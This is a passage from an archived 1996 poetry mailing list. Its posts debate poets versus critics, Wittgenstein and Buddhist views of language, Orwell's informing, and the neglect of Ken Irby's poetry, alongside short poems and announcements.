Compare Wittgestein's formulation of meaning as "use." That keeps it within the langauge, doesn't it? And does Olson's sense of the "only absolute" as "this instant, in action" bring him closer to Wittgestein's sense of meaning ("in action" -- "in use")? That is, that which exists in and of itself within this instant, in action, would be use. I'm sure I'm oversimplifying here; I mean, Olson doesn't simply collapse into Wittgenstein. But can such an approach point out the limits of Olson's stance (or of _any_ stance)?

Dean Taciuch

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304. Emily Lloyd
Re: maria/&performance
Thu 11 Jul 1996

Rob Hardin--ok, one last time, because I couldn't tell if you'd read my response to Eryque before you wrote your response to him--*nowhere* in my post did I say "white male." Nowhere! When I say "white-membered," and you assume white male, that's problematic (unless you thought that "member" was used in the euphemistic anatomical sense). To read it as male when it isn't specified that way is not to read it, but to have a knee-jerk reaction (assuming I'd "bash" white males) or to be wildly male-centric. So, what's on that sandwich? & please, no "look ma, I'm marginalized!" contests, ok? Really reductionary. "I myself am a newcomer who doesn't take said colonization for granted" reflects more on you (not a value judgment, there) than on whether or not there's "colonization." over & over & out, emily

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Emily Lloyd [redacted]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Emily said Emily said, Emily
is admittedly Emily"--G. Stein

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305. Jordan Davis
Loesser NY sch pts
Thu 11 Jul 1996

Rod-- it says Bibliophasia Reprint Service... epigram's from Lewis Warsh, "...my life with each new drug starting anew...", toc reads as follows, Dick Gallup, Larry Fagin, Charlie Vermont, Kit Robinson, Tom Veitch, Joe Brainard, Stephen Rodefer, Joseph Ceravolo, Alice Notley, Lewis Warsh, Maureen Owen, Hilton Obenzinger, Merrill Gilfillan, Alan Senauke, Harris Schiff, Bernadette Mayer, Anne Waldman, Jamie MacInnis, Ted Greenwald, Bill Berkson, Alan Bernheimer, Tony Towle, Simon Schuchat, Michael Brownstein, John Godfrey, Robert Creeley, Peter Schjeldahl, Tom Clark, Michael-Sean Lazarchuck, Jim Brodey.. 'it' is th little golden book of lesser ny school poets.. J

↑ Index

306. Jordan Davis
W's fly, lppl's ground
Thu 11 Jul 1996

Some problems with flies and bottles:
    There may be sugar in the bottle.
    It may be a Klein bottle.

That is, poetry is not _only_ a game with restrictive rules, but it can productively be so. Or, someone accustomed to thinking of poetry writing as rule-governed behavior would think of the 'call-forward' of language as a rule-system that was claiming transcendence from rule-systems? Inspiration? What film studies people call 'diogesis'?

Rules is obviously the wrong word.

Is calling it 'language' positing it as a 'thing'? Reification as productive mistake. Normalization, enforcement, of productive mistakes as tyranny?

More please about this 'calling-forward'.

Jordan

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307. **Mark Wallace**

critics vs. poets (tag team round three)

Thu 11 Jul 1996

Dear Maria:

Absolutely I would not suggest that poetry critics get off this list--the presence of yourself, Marjorie Perloff, many others too numerous to name make this list both more engaging and complex AND intellectually frustrating, which for the most part is all to the good. I guess my thinking has more to do with the social structures that intersect with/underlie the roles of both poet and poetry critic. We'd all like to think of ourselves as individuals, because we are, but it can be much more difficult to recognize that we are also all moving inside a very complex institutionalized social network that we simultaneously critique and constitute, to various degrees (and even those people on this list who don't work in colleges--and thankfully there are many of them--have some relation to other kinds of institutionalization).

At the various colleges where I teach part-time, I would absolutely love to have colleagues like yourself, that is, literary theorists and critics who recognize not only that contemporary poetry is a worthwhile endeavor, but even, frankly, that it exists. I don't want to name names here, but at one college where I teach, the one critic who knew anything about contemporary poetry was let go after several years (funding, etc), and there are only several other people who have even HEARD of language poetry, say. At another where I teach, I've become good friends with an older scholar who studied with Yvor Winters, and has a different sense of poetics entirely (he does, however, teach Ashbery and O'Hara, say) and yet has come to like me because it seems to him that I'm one of the few people in the department who actually reads contemporary poetry (there are some others, poets primarily but not exclusively). There are certainly mainly good scholars at both schools, but poetry is simply not a primary concern for many critics at the moment ANYWHERE, as you well know. This older scholar, for instance, is fond of complaining about someone else in the department who once said to him, "But you know, we don't want to privelege literature."

So I guess I would say that the problem is not the presence of individuals like yourself, by any means, but rather a cultural environment in which, increasingly, critics read other critics as if those other critics were the only "field" of writing that matters much. Clearly, inside such a situation, critics like yourself and Marjorie and Peter Quartermain, etc, constitute a presence that can be only beneficial to poets. On the other hand, the fact remains that inside an academic context, only certain kinds of writing are allowed to be labelled "critical." That, for instance, was one of the points behind the collection I've mentioned on

this list before, A POETICS OF CRITCISM, edited by Juliana Spahr, Kristin Prevallet, Pam Rehm, and myself--in that collection were a whole host of clearly "critical" essays which, because of their non-standard form, simply can't be recognized as such in any institutional context. Do their writers want such recognition? In some cases yes, in some cases, probably no. But until a whole multiplicity of writing processes are recognized as "critical," I think that even those poets highly aware of criticism and literary theory will continue to have skepticism not so much of individual critics, but of a whole institutionalized system which valorizes the "dispassionate, objective" observer at the expense of any other mode of critical engagement.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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308. **James Brook**
Re: George Orwell, informer (fwd)
Thu 11 Jul 1996

Pierre, thanks for forwarding the disheartening news about George Orwell.

It's sad to hear that he aided--or attempted to aid--secret British anticommunist propaganda and provided the names of "unreliable" people. On the other hand, it's not shocking that he did so. At the end of the Second World War the independent left was fragmented and disorganized, and Stalinism was triumphant. Many anti- Stalinist leftists found it tempting to support Western liberal democracy against what they considered the greater enemy--just as they had supported liberal democracy against the Nazis. After all, it was the separate efforts of the Nazis, supporting Franco, and the Communists, supporting the Spanish Republic, that crushed all chances for a social revolution during the Spanish Civil War, in which Orwell fought. (This story is told very well in Ken Loach's recent film, Land and Freedom.) I think this is the context for Orwell's turn--a turn parodied thirty years later by Octavio Paz, who came to see the U.S. as a great friend in the struggle against what Reagan called "the Evil Empire." (Speculating on personal motivation, I imagine that Orwell felt desperate and isolated. But Paz? I don't know--was it stupidity and opportunism? And then there's the question of the writers and poets who remained true to their fascism and Stalinism; e.g., Pound and Neruda.)

--James Brook

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309. Michael Davidson
research stipends at ANP
Thu 11 Jul 1996

The Archive for New Poetry at the University of California, San Diego is offering small stipends (ca $500.00) to graduate students and scholars interested in working in the archive. The funds can cover travel expenses or lodging/per diem while in San Diego. The Archive, in addition to its extensive collection of small press poetry monographs, magazines, broadsides and tapes, owns the papers of a number of writers: George Oppen, Charles Reznikoff, James Schuyler, Jerome Rothenberg, Joanne Kyger, Paul Blackburn, Lyn Hejinian, Ron Silliman, Joe Brainard, Jackson MacLow, Clayton Eshleman, John Taggart, David Bromige, editor, Donald Allen, United Artists Press. For further information about the stipends, contact Lynda Claassen, Dept. of Special Collections, University Library, University of California, San Diego, La Jolla, CA 92093 ([redacted]).

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310. Robert A Harrison
Re(2): maria--/& performance
Thu 11 Jul 1996

---

eryque,

> *could someone explain to me why, more or less, any marginalized group of people would want to come into an area that is quite clearly not theirs (economically speaking), has been colonized so thouroughly as to be left dead for all newcomers?*

can't speak for anyone else of course, and not to paint a picture of myself as being marginalized, those details incredibly complicated as they are for anyone else, but ... a simple response an attempt to start at one might be

because the space belongs to no one else either.

does this space belong even to those who write to it the most? no

bob harrison

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311. Rod Smith
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

Judy-- I'd like to hear more abt the Abrams book. Terence McKenna's an interesting nut dealing a bit with similar issues. How, exactly, does "the alphabet distort perception"

Henry--
we seem to be talking past each other. You wrote

"I think we're all roaring with hunger for those very packages, & that's why packaged truth, & poetry, & anthologies, are so winning... "

in response to my "many APR folks seem to see meaning as a package to be delivered."

I wasn't talking about commodification's pros or cons, at all. Nor was I talking about mastering historical epics -- a truth package I'd just as soon send back unopened thank you. I'm talking Wittgenstein & Tsong Khapa, you're talking Hegel (which is cool) & Helen Vendler (which sucks) -- seems a little hopeless, but maybe not.

Your question "Why do some artworks still grip us while others seem hackneyed by timebound blinders?" -- The key word in this sentence for me is "us." It privileges the "masterpiece" over the "timebound." & who decides what's hackneyed & on what basis is a question that matters. Is that "us" the Zeitgeist you're talking? Is it some kinda Jungian thing, this Zeitgeist? Or worse, some kinda ideologically unaware masquerade with power aplenty. This seems the appeal of Jameson's totalizing in academia, the idea that "the era" can be apprehended-- when such almost always turns out to be an exercise in excluding/dismissing what don't fit the critic's lens cap. . . . I wouldn't dismiss it, but. . . I would like to be able to.

Rod

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312. henry
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

On Thu, 11 Jul 1996 12:32:32 -0400 Rod Smith said:
>we seem to be talking past each other. You wrote
>
>"I think we're all roaring with hunger for those very packages, & that's
>why packaged truth, & poetry, & anthologies, are so winning... "

>
>in response to my "many APR folks seem to see meaning as a package to be
>delivered."
>
>I wasn't talking about commodification's pros or cons, at all. Nor was I
>talking about mastering historical epics -- a truth package I'd just as soon
>send back unopened thank you. I'm talking Wittgenstein & Tsong Khapa, you're
>talking Hegel (which is cool) & Helen Vendler (which sucks) -- seems a little
>hopeless, but maybe not.

Now you do got me confused, Rod. Maybe I am missing the finer grain (linguistics Wittgensteinian) of what you're saying, granted. But my "roaring with hunger" comment does seem apropos to your making a distinction between "APR folks" & us avant-garde Eastern folks. My response is that absorbing ideas & hunches in bits & pieces small & large is just a human trait. As for historical epics - huh? When did I bring that in? Helen Vendler? Wha?

> *Your question "Why do some artworks still grip us while others seem hackneyed by*
> *timebound blinders?" -- The key word in this sentence for me is "us." It privileges the "masterpiece" over the "timebound." & who decides what's hackneyed & on what basis is a question that matters. Is that "us" the Zeitgeist you're talking? Is it some kinda Jungian thing, this Zeitgeist? Or worse, some kinda ideologically unaware masquerade with power aplenty. This seems the appeal of Jameson's totalizing in academia, the idea that "the era" can be apprehended-- when such almost always turns out to be an exercise in excluding/dismissing what don't fit the critic's lens cap. . . . I wouldn't dismiss it, but. . . I would like to be able to.*

Let me quote from Hermann Nautical of Liebfraumilch Univ. again on this one: "Der Zeitgeist, ja. Der Zeitgeist, vell let me zee. Ja. Vell. Iss ven owl de multifuriowze aspektes uff de hysterical period, ja, ezpecially in de art un kultur, exhibit ein kind uff unity of characterizticks und exprezzions across de many many varied fielts uff endeavors. Unt let me recomment to you unt to everyboody on de liszt a ferry interesting book in dis regardt: "Terrible Honesty" by Ann Douglas, about 20s New York in de US uff A." - And let me just add to Prof. Nautical's comments the following: you say the key word is "us". I assume you mean as in Goethe's famous remark, "The enemy is us." Whut ah wuz tryin t'say wuz that the really heavy-duty poetry, drama, prose, etc. has this primordial human quality that conquers all the particular "us's" of a particular age - those cussed us's that usually vaunt what is most timebound as the "great works of the age". Of course in the suspicious academia of today any expression of overly-strong

emotion for past works of art is regarded as hopelessly recherche, don't you think? - Henry Gould

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313. **Judy Roitman**

Re: Onward: Contemporary Poetry & Poetics

Thu 11 Jul 1996

> *Well, an eastern or Wittgensteinian approach wld be a contextual approach-- an understanding of context as multiply & complexly constitutive. The emphasis being not only on what we can "compute" but also upon acknowledgement that any given context is more complexly constituted than one can apprehend-- which is why intuition is such a powerful & real aspect of our experience & also why it is so individualized.*
>
> *Seems to me both Wittgenstein & aspects of buddhist & taoist thought share a concern with pointing out limits of apprehension & *using them.* One cld also talk about Duchamp in these terms.*

Many thanks, Rod, for the clarification.

I would add, at least for Buddhist thought (and I think it's true for Wittgenstein as well) that it is not only context, but that language necessarily distorts/hides/distracts/etc., language as the great deceiver. Was this implicit in your comments? No news here, but often forgotten. I think this is what Wittgenstein means by his "fly out of the fly-bottle" remark, but not being a Wittgenstein scholar am relying on intuition here.

Also, at least some Buddhist practices hold up the hope of direct apprehension -- "limits of apprehension" are (themselves) delusions, cut through them and BINGO there you be. But the categories used to describe context are not relevant here, being, you should excuse the expression, empty.

Cheers.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

314. Aldon L. Nielsen
door prize --
Thu 11 Jul 1996

The first person to correctly identify Paul Laurence Dunbar as the author of the poem "To a Captious Critic" is the incredibly well-read Alan Golding -- who gets as his prize a lovely paperback volume of literary criticism (just what he wants more of, no doubt) --

Watch this space for further contests -- keep reading those poems!

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315. Charles Alexander
poecrititry
Thu 11 Jul 1996

These battles between poets & critics seem to be forgetting that some of the best critics are poets. Like Rachel Blau du Plessis & Charles Bernstein & Ron Silliman & many others.

Personally I tend to read a lot more essays/criticism by "poets" than I do by "scholars," but even stating this makes my stomach turn a bit, as if assuming that these are necessarily separate camps. Are they? Why?

BUT I am not certain this fact is so recognized by the editors/sponsors of such journals as PMLA, ELH, Contemporary Literature, & various others. I am definitely speaking off the hip here, and without recent experience with so-called scholarly journals, and would love to be corrected to find out that, say, one of these journals would be as open to a critical piece written by a non-university poet with no Ph.D., as, for example, a journal like Chain is to an essay by Maria Damon or a poem by a lit professor with full accreditation.

I hope I'm not adding flame to the fire, as I'd really rather heal the rifts between poets & critics than extend them.

charles

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316. Rod Smith
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

Henry wrote: "As for historical epics - huh? When did I bring that in?
 Helen
Vendler? Wha?"

On 7/10 Henry wrote:
"It's language talking through the obsessions and
neuroses & sleepwalking and timeserving of an era - not denying it, but mastering it & throwing light on it"

also the term "zeitgeist" you used originally & since is defined as "the spirit of the time." May be a little unfair to accuse you of Vendlerism but confidence in the existence of a or the "zeitgeist" seems loaded with that crap to me. This is not to deny historical processes-- but they are that, I believe, processes, multiple, & only partially apprehendable. I like the Goethe ("The enemy is us") but of course from many perspectives the enemy is legitimately "them."

You said today: "Whut ah wuz tryin t'say wuz that the really heavy-duty poetry, drama, prose, etc. has this primordial human quality that conquers all the particular "us's" of a particular age"

This I don't believe. For me it is a matter of use-- I read Shakespeare or Dickinson or Oppen not because they have "conquered" but because they are _of use_. I prefer that construct to the idea that they have acheived some sort of summation, & insist that what will be of use for one won't necessarily be for another, or even for the same person at different times in their life.

"Its apparition is the mold of it"

Rod

↑ Index

317. George Bowering
Re: Thomas
Thu 11 Jul 1996

I remember Lorenzo Thomas from the early sixties as a Long Island poet, I think. There was one magazine that misprinted his name as Lorenzo Toomes. Or is that somethin i didnt know about?

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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318. **william marsh**
Re: e-mail politics
Wed 31 Dec 1969

Mark & others,

to offer one response to the "riddle" -- "I'll bet if you said 'poetry and poetry criticism' have a fundamentally generative and symbiotic relation, a larger proportion of those people who write criticism mainly would agree, wheras a lesser number of people who mainly write poetry would agree." -- although i admit i'm not exactly sure how the discussion got to this end, it seems odd to me that it has, since distinctions between so-called "poetic" and "critical" writings, as you point out, have been effectively eradicated, most profoundly by those poet/theorists (Susan Howe, Charles Bernstein, among several others) whose work is very much concerned with blurring the disinction.

my first impulse, for the sake of responding to your question, is to group myself among those who "mainly write poetry", but i quickly stumble over such a categorization due in most part to the fact that when i write, i do so in such a 'critically' engaged manner that the distinction is fruitless and, in my mind, wrongly put. i'd say that any thoughtful writing is critical _and_ poetic by nature, moreso that the critical and poetic "elements" of which you speak are twin directives in any thoughtful engagement of language, and really shouldn't be posed diametrically.

elsewhere Mark writes that he finds himself "inevitably siding with poetry and poets," even though he recognizes that "poetry criticism is unavoidable." perhaps i misconstrue the body of writing he means to identify by "poetry criticism," but in any event what could possibly motivate a "side" taking of this kind? and to say that it's "unavoidable" is almost as damning as to consider it "avoidable," since both suggest that criticism is somehow painfully endured.

bill marsh

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319. **Henry**
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

On Thu, 11 Jul 1996 14:38:26 -0400 Rod Smith said:
>Henry wrote: "As for historical epics - huh? When did I bring that in?
> Helen
>Vendler? Wha?"
>
>On 7/10 Henry wrote:

>"It's language talking through the obsessions and
>neuroses & sleepwalking and timeserving of an era - not denying it, but
>mastering it & throwing light on it"

Well, I guess that proves it. Heck, when you said "historical epics" I thought you were talking about a genre of poetry or something! Shows how wrong you can be. My mistake. Should have never used the term. But wait a minute - didn't YOU use the term? Huh?
>
>also the term "zeitgeist" you used originally & since is defined as "the
>spirit of the time." May be a little unfair to accuse you of Vendlerism but
>confidence in the existence of a or the "zeitgeist" seems loaded with that
>crap to me. This is not to deny historical processes-- but they are that, I
>believe, processes, multiple, & only partially apprehendable. I like the
>Goethe ("The enemy is us") but of course from many perspectives the enemy is
>legitimately "them."

Vendlerism - is that like - retailing?

> *You said today: "Whut ah wuz tryin t'say wuz that the really heavy-duty poetry, drama, prose, etc. has this primordial human quality that conquers all the particular "us's" of a particular age"*
>
> *This I don't believe. For me it is a matter of use-- I read Shakespeare or Dickinson or Oppen not because they have "conquered" but because they are _of use_. I prefer that construct to the idea that they have acheived some sort of summation, & insist that what will be of use for one won't necessarily be for another, or even for the same person at different times in their life.*

Funny - I read the same people because they're totally useless. - Henry

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320. **Rod Smith**

Re: Onward: Contemporary Poetry & Poetics

Thu 11 Jul 1996

Judy wrote: "I would add, at least for Buddhist thought (and I think it's true for Wittgenstein as well) that it is not only context, but that language necessarily distorts/hides/distracts/etc., language as the great deceiver."

Certainly this is true for certain of Zen, but not for the Mahayana school-- Tibetan Buddhism puts great emphais on book learnin'. & Zen is deeply textual & verbal-- the emphasis on the koan etc.

& also J wrote: "at least some Buddhist practices hold up the hope of direct apprehension -- "limits of apprehension" are (themselves) delusions, cut through them and BINGO there you be."

Yes, the emphasis on the breakthrough-- which leads to that grt quote, can't remember which teacher: "Now that I'm enlightened I'm as miserable as ever." Reminds me of that great master George Bowering. . .

A favorite Wittgenstein quote, which Joan Retallack has in 4 or 5 different languages scattered about her house:

"For what reply does one make to someone who says: 'I believe it merely strikes you as if you knew that?'"

to which I addend in Aerial 5 David Tudor's "If you don't know why do you ask?"

But wld like to hear from you more specifics on Abrams or your take on language's distortions, is he arguing for a less absrtact iconicity?

--rrpfet

↑ Index

321. Charles Smith
Ken Irby
Thu 11 Jul 1996

I'd like thank Ron for the detailed & sympathetic analysis of Irby's poem, which points the way toward the richness of sound patterns embedded there. The music in Ken's poetry has always struck me as extraordinary--carefully constructed & 'scored' on the page, insistent in its certainties. Ron pointed to Ken's use & development of Olson's caesura, noting that Irby's lines are seldom breath based. Irby's musicality derives just as much from things he learned from Duncan, & even more I think, from Bunting & Zukofsky. (When I mention Bunting, I'm thinking specifically of the use of consonants Peter Quartermain demonstrates in his piece on Whitman, Pound, Bunting.) But Zukofsky still seems to be the richest source Ken has developed (maybe because Zukofsky has such rich musical resources to offer?).

From the sequence "Etudes", also from the book _Call Steps_:

call snow draw cold moon sawm

comb new leaver lean

so shadows dough

or take a look at "{requiem etudes 7 for Louis Zukofsky}" which closes "Etudes." I'd also recommend to anyone who didn't see it, his review (it's really more than that) of Michelle Leggott's _Reading Zukofsky's 80 Flowers_ that

appeared in Sulfur a few years ago (& curiously has been his only appearance in that magazine i believe, although he was a frequent contributor to Caterpillar).

The reasons for the neglect of Ken's work seem complicated & have always confused me. Part of it rests on his shoulders; he doesn't seek much attention for himself. But _Call Steps_ received a remarkably quiet reception; the only notices I'm aware of are a short, impressionistic piece by Ben Friedlander that appeared in _Notus_, & a longer take by Stephen Ellis in _Poetics Briefs_. (If anyone is aware of others, I'd appreciate hearing about them.) His work was excluded from both the Hoover & Weinberger anthologies; thankfully there is a good selection in the Messerli (including the sequence "Heredom" Ron was writing about).

To subsume Irby's work as "carrying forward the Olsonian project" as Ron did is to pigeonhole it & to give short shrift to its scope. I can't help but think Ken was one of the casualties of the late 70's/early 80's poetry wars; his work had some things in common w/ the emerging Language poetry & he himself read it with interest, but never fell in step w/ the 'movement.' Poems appeared in an early issue of Barry Watten's magazine, This, & Lyn Hejinian published _Archipelago_ in the Tuumba series. But as the lines became more fiercely drawn, people like Irby & Ron Johnson started to fade from sight in that milieu. I'm really not in a position to know how much that had to do with Ken & how much had to with the literary politics of that time & am curious how others view this.

We are left now with _Call Steps_ as the most recent , readily available book which collects work only through 1979!!!!! That leaves over 15 years of writing out of circulation. As Paul Naylor noted, Lee Chapman has been publishing recent work in _First Intensity_. Some poems also appeared in _:that_ a few years ago. A chapbook of 11 poems was letterpress printed at Naropa in 1994, _Antiphonal And Fall To Fall_ in an edition of 200 & has never been distributed. If anyone is interested, I have the address & phone number (as of last fall) of Patrick Tillery who printed it, and Ken himself may still have some copies. BTW, although the Tansy _Catalpa_ is long gone (& a candidate for a Sun & Moon classic?), John Moritz of Tansy was closing the press & advertising copies of the 2nd edition of _To Max Douglas_ a year or two ago, so they may still be around somewhere.

There are many writers today who consider Irby one of the important (& most neglected!) poets of his generation. His engagement with the long line is one of the more interesting & unique today. Where are the critics & publishers?

I'll close this with a poem from _Antiphonal And Fall To Fall_:

Would you take the diaphany of ivory and of brightness to be behind the name,

and power,
and carry into the portraying and then into the writing by the way the ear
itches from the air
the elephant of interior grace and strength or the bear of insistent nub just
by the style itself and not by any subject of depiction
an elegy of cradle song for the mother, and that for the nations and for
history, and for the full orchestra
an extended fantasy in meditation for the father, solo, and of the touch
or would that be reversed, or would there be the elephant and bear of crossed

arms to wonder at
hanging not in what is made but in its air, swinging

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322. **Judy Roitman**

Re: Onward: Contemporary Poetry & Poetics

Thu 11 Jul 1996

> *Judy--*
> *I'd like to hear more abt the Abrams book. Terence McKenna's an interesting nut dealing a bit with similar issues. How, exactly, does "the alphabet distort perception"*

David Abram is coming from a magician's/shaman's as well as a phenomenologist's (sp? my spell-checker broke) perspective, so he sees intimate connections (complex and not reductive, but essential, connections) among language, meaning, the body, the world. He sees the alphabet as breaking that connection, forcing the mind away from body sensations/ground of experience, and into an abstract realm in which human constructs mediate perception rather than perception creating human constructs. Learning how to read essentially changes the nature of consciousness. Having a dyslexic son, I'm not so sure that he isn't right.

He somewhat exempts the Hebrew alphabet from his general condemnation, because it is still grounded in pictures -- aleph is an ox (do I remember the icon correctly?) etc. and he has a long eloquent section towards the end of his book on some of classical mystical uses of the Hebrew alphabet.

He does not claim total originality for these views, and acknowledges his sources. Terrence McKenna may be one of these. And I am leaving out in this discussion his real motivation, which is to provide a deep philosophical justification for radical ecology. I think it's fair to say that in his view it's a short step

from the alphabet to the shopping mall. Having a dyslexic son, I'm somewhat skeptical.

It was a conversation with David that triggered a major shift in my own work, for which I am most grateful. "Interesting nut" yeah, well, not a bad thing to be.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

323. Christina Fairbank Chirot
re Irby reviews
Thu 11 Jul 1996

Thanks to Charles Smith for his excellent message re Ken Irby's work. A review of Call Steps by Edward Schelb appeared in Sulfur 36, and Schelb quotes from Irby's comments on Lansing in the Talisman Lansing issue just out.

To Max Douglas is available at Woodland Pattern Book Center here in Milwaukee.

Here is their address and phone:
720 East Locust Street
Milwaukee, WI. 53212

[redacted]

I'd highly recommend the book--3 long poems--one of which, "Delius" has as theme music.

LISTEN--

dave baptiste chirot

↑ Index

324. Charles Smith
Re: white rose
Thu 11 Jul 1996

Maria,

Yes, the film about Jay deFeo's "White Rose" was done by Bruce Conner. I got to see it in 1990 when Bruce showed it in conjunction w/ an exhibition at trhe Natsoulas Gallery in Davis documenting the art & activities surrounding the 6

Gallery. That exhibit followed on the heels of another one documenting the King Ubu Gallery, run by Robert Duncan,Jess & Harry Jacobus, which had earlier occupied the same space. Exhibition catalogues from both shows were issued & are probably still available from:

Natsoulas Gallery
132 E Street
Davis, CA 95616
[redacted]

Looking forward to seeing the Beat show when it comes out here.

all best,
charles

↑ Index

325. **Jordan Davis**
The High Points
Thu 11 Jul 1996

To the keeper of the tone--please back up.
As one who has been hit by a broom,
I would ask the language not to explain itself
But http://www.pma.com
To adjust the valves, what about you?
In world overlap, get calm
And consider
That's the way, or how bout

Rod--what are the conditions on that use? Terms of rental? (Or, how to get closer, to be more [perpetually] useful?) J

↑ Index

326. **Hank Lazer**
Re: Aldon, Hayden, "American Journal"
Thu 11 Jul 1996

Aldon wrote:

> *--Hank: whenever you feel you have the time, I'd be interested in hearing more of your take on "American Journal" -- That's a poem I've never been able to enjoy, and I'd like to hear from somebody who has worked with it more than I have -- I talked with Hayden any number of times about the poem, but it seemed a stretch to me -- I always thought it was the occasional poem he felt he had to write as Poetry Consultant -- but I suspect there's more to it than that --*

Aldon, and anyone else who's interested:

Thanks for alerting me to the fact that the poem was an occasional composition. I was unaware. I had approached "American Journal" as a slightly different take on Hayden's universalism. What interests me in "AJ" is the sci fi construction that Hayden gives it (similar to the various agent-observers in Doris Lessing's _Canopus in Argos_ series). Hayden begins, "here among them the americans this baffling/ multi people." For me, Hayden's position as alien must involve some self-criticism and some degree of self-mockery. He says that his task is to "disguise myself in order to study them unobserved/ in their varied pigmentations." So, Hayden's distance from "them" (cf. Oppen in "Of Being Numerous"?) becomes exaggerated in "AJ," and for me asks for some re-thinking of his strategies in other poems, essays, and interviews to achieve a similar position outside the conflicts and identities that both trouble and exalt him. In "AJ" he calls "america as much a problem in metaphysics as/ it is a nation." And I remain intrigued by Hayden's use of a conversational mode (and spacing) in the poem. Did he ever tell you, Aldon, why he put the poem on the page that way? I'd be interested. Back to the poem--I'm also struck by the way that sensuality in "AJ" (as in many of Hayden's other poems) constitutes a confusion and a disturbance. In this poem, he does begin to give in:

> confess i am curiously drawn unmentionable to
> the americans doubt i could exist among them for
> long however psychic demands far too severe
> much violence much that repels i am attracted
> none the less their variousness their ingenuity
> their elan vital and that some thing essence
> quiddity i cannot penetrate or name

For me, this poem, by the extremism of its sci fi plot, brings out tensions (of identity and repulsion) that are present throughout the earlier poems (such as "The Whipping"). Perhaps on its own, not a poem worth lots of attention, but as a last poem, of interest?

Hank

↑ Index

327. Carnography

*Critics *vs.* poets? What I miss here are criticisms of poetic technique.*

Thu 11 Jul 1996

---

1. (Uttered in a nasal, pestering monotone):

Were Pound and Eliot poets or critics? What about Mathew Arnold?

Was Sir Walter Raleigh an explorer or a writer?

Is Charles Bernstein an *ip-ap-grrr-whing* or a critic?

What was like Campion, who wrote treatises on prosody?
What were Peacock and Shelley, who wrote long essays on poetics?

(Since many studious poets have written critical essays, and some do so regularly, the dichotomy between critic and poet strikes me as problematic.)

Are essays on poetics in a different category than other
critical/historical/linguistic essays on poetry? Did
Saintsbury address less practical poetic concerns than
William Empson and Yvor Winters? If not, is he a critic?

§§§

level, "free" and "formalist" poetry do not strike me as very different. The distinction seems an impediment, a cliche.

§§§

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

328. Jordan Davis
oh
Thu 11 Jul 1996

---

so then as off
a thing as we is
how--
as a co-op board would

go to meat

to me
to me

and there be a good

↑ Index

329. Carnography
Re: maria/&performance
Thu 11 Jul 1996

Emily:

> *Rob Hardin--ok, one last time, because I couldn't tell if you'd read my response to Eryque before you wrote your response to him*

There is often a delay in receiving posts. I'd written my response hours before both of our responses were forwarded to me by UB Poetics.

> *--*nowhere* in my post did I say "white male." Nowhere! When I say "white-membered," and you assume white male, that's problematic (unless you thought that "member" was used in the euphemistic anatomical sense).*

You've caught me on that one. My apologies, member. I stand corrected.

(However, your racial classification is no less suspect than the gender classification that I wrongly attributed to you, honk honk.)

> *To read it as male when it isn't specified that way is not to read it, but to have a knee-jerk reaction (assuming I'd "bash" white males) or to be wildly male-centric.*

However, you haven't caught anyone here. A contextual mistake does not imply a sexist motive. What I read was the context of arguments I'd heard before,

arguments in which the word "male" was used instead of member. As I said above, that was my mistake. However, your conclusions about me partake of what you would protest.

Just as it would be absurd for me to insist that you secretly "meant" male in your post, so it is equally absurd of you to posit motives and emotional twitches that are not evident in my response. If I'm going to be wildly "male-centric," you'll need to lend me your bongos.

Also: saying that I'm "wildly male-centric" is as sexist
as it would be for me to say that you were hysterical.

> *on that sandwich? & please, no "look ma, I'm marginalized!" contests, ok?*

On the contrary: it was you who raised the subject of marginalization. Enryque fleshed it out and initiated the contest with his complaint of a lack of space for marginalized people. I merely responded by pointing out that, by his definition, I am marginalized, yet I find no evidence of the racial/economic suppresson of marginalized groups on UB Poetics. Being vocal here isn't a question of privilege (unless one addresses the economic considerations involved in being on the internet ($400 for a passable computer, $85 for a modem, and $25 per month for a SLIP account.). It is a question of whether or not people have the courage to speak when they must and the self-control to restrain themselves when they shouldn't. (In their terms, not mine.)

> *"I myself am a newcomer who doesn't take said
> colonization for granted" reflects more on you (not a value judgment, there)
> than on whether or not there's "colonization."*

Enryque's generalization about cultural colonization impacted on all "marginalized" newcomers. I myself am a "marginalized" newcomer to whom the generalization does not apply. Therefore it is the generalization that is reductive and not my own example of its inconsistency.

By the way: suggesting that I reveal more about myself than about you reveals more about you than it does about me, and I hope you will write back to say that my statement about your statement reveals more about my last statement than it does about your statement before that one, and so on and so forth, ad infinitum and stir vigorously, whap that Sackbutt and ring around the Rosicrucian.

(Ignore that outburst, E. I just felt like doing that.)

And by the bye (and I do mean bye (but not really)): My response to Enryque and to you was mostly a joke! I don't recall saying anything seriously derogatory about you, your argument or anything else. I even said I presumed your intentions were good. (And just when I'd concluded that humor was the best way to dispel the tension in a debate.)

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

330. Charles Alexander
Re: critics vs. poets (tag team round three)
Thu 11 Jul 1996

> *Hey Mark,*
>
> *Is Charles Bernstein's *Artifice of Absorption* poetry, lit crit, crit theory, or what?*
>
> *Burt*

Yes

(oh but i'm not mark)

↑ Index

331. George Bowering
Re: critics vs. poets (tag team round three)
Thu 11 Jul 1996

> *Hey Mark,*
>
> *Is Charles Bernstein's *Artifice of Absorption* poetry, lit crit, crit theory, or what?*
>
> *Burt*
>
> *Yes*
>
> *(oh but i'm not mark)*

[hell, neither am I!]

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

